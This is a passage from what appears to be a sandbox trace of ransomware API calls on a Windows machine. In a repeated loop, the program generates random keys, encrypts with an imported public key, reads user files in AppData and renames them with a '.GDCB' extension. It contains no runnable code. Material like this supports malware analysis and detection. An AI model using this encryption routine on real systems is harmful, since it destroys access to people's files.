phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.447] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b438) returned 1 [0193.447] CryptGetKeyParam (in: hKey=0x508b438, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.447] CryptEncrypt (in: hKey=0x508b438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.447] GetLastError () returned 0x0 [0193.447] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.448] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.449] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b838) returned 1 [0193.449] CryptGetKeyParam (in: hKey=0x508b838, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.449] CryptEncrypt (in: hKey=0x508b838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.450] GetLastError () returned 0x0 [0193.450] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.450] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fc14e05c.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fc14e05c.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.451] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.453] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.454] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1542, lpOverlapped=0x0) returned 1 [0193.476] VirtualAlloc (lpAddress=0x0, dwSize=0x1550, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.481] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fc14e05c.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fc14e05c.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fc14e05c.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fc14e05c.jpg.gdcb")) returned 0 [0193.526] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0193.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.529] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.529] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.529] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.529] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.531] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.531] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.531] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.534] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b6b8) returned 1 [0193.534] CryptGetKeyParam (in: hKey=0x508b6b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.534] CryptEncrypt (in: hKey=0x508b6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.534] GetLastError () returned 0x0 [0193.534] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.534] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0193.536] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b078) returned 1 [0193.536] CryptGetKeyParam (in: hKey=0x508b078, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.536] CryptEncrypt (in: hKey=0x508b078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.536] GetLastError () returned 0x0 [0193.536] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1079934665\\2034961148.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.538] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.539] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.540] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x730, lpOverlapped=0x0) returned 1 [0193.632] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.636] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1079934665\\2034961148.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1079934665\\2034961148.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1079934665\\2034961148.pri.gdcb")) returned 0 [0193.641] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.643] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.643] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.643] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0193.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.645] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.645] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.645] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.647] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b378) returned 1 [0193.647] CryptGetKeyParam (in: hKey=0x508b378, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.647] CryptEncrypt (in: hKey=0x508b378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.648] GetLastError () returned 0x0 [0193.648] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.648] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.649] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b338) returned 1 [0193.649] CryptGetKeyParam (in: hKey=0x508b338, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.649] CryptEncrypt (in: hKey=0x508b338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.650] GetLastError () returned 0x0 [0193.650] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.650] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.651] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.653] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.654] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x16dc8, lpOverlapped=0x0) returned 1 [0193.695] VirtualAlloc (lpAddress=0x0, dwSize=0x16dd0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.701] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1605653898\\4275773285.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1605653898\\4275773285.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1605653898\\4275773285.pri.gdcb")) returned 0 [0193.706] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0193.708] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.710] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.710] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.710] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.711] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.713] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.713] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.713] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.715] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b7f8) returned 1 [0193.715] CryptGetKeyParam (in: hKey=0x508b7f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.715] CryptEncrypt (in: hKey=0x508b7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.715] GetLastError () returned 0x0 [0193.715] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.715] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.717] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b4f8) returned 1 [0193.720] CryptGetKeyParam (in: hKey=0x508b4f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.720] CryptEncrypt (in: hKey=0x508b4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.720] GetLastError () returned 0x0 [0193.720] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.720] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1978304864\\923683402.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.722] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.723] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.724] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0xa30, lpOverlapped=0x0) returned 1 [0193.732] VirtualAlloc (lpAddress=0x0, dwSize=0xa30, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.737] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1978304864\\923683402.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\1978304864\\923683402.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\1978304864\\923683402.pri.gdcb")) returned 0 [0193.742] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.745] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.745] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.745] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.746] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.747] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.747] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.747] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0193.749] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b678) returned 1 [0193.749] CryptGetKeyParam (in: hKey=0x508b678, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.749] CryptEncrypt (in: hKey=0x508b678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.749] GetLastError () returned 0x0 [0193.749] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.749] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.751] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b3b8) returned 1 [0193.751] CryptGetKeyParam (in: hKey=0x508b3b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.751] CryptEncrypt (in: hKey=0x508b3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.751] GetLastError () returned 0x0 [0193.751] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2107319684\\2467780804.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.753] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.755] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.756] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x22d0, lpOverlapped=0x0) returned 1 [0193.764] VirtualAlloc (lpAddress=0x0, dwSize=0x22d0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.769] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2107319684\\2467780804.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\2107319684\\2467780804.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\2107319684\\2467780804.pri.gdcb")) returned 0 [0193.774] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.775] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.776] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.776] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.776] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.778] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.778] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.778] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.778] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.780] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b538) returned 1 [0193.780] CryptGetKeyParam (in: hKey=0x508b538, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.780] CryptEncrypt (in: hKey=0x508b538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.781] GetLastError () returned 0x0 [0193.781] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.781] CryptAcquireContextW (in: 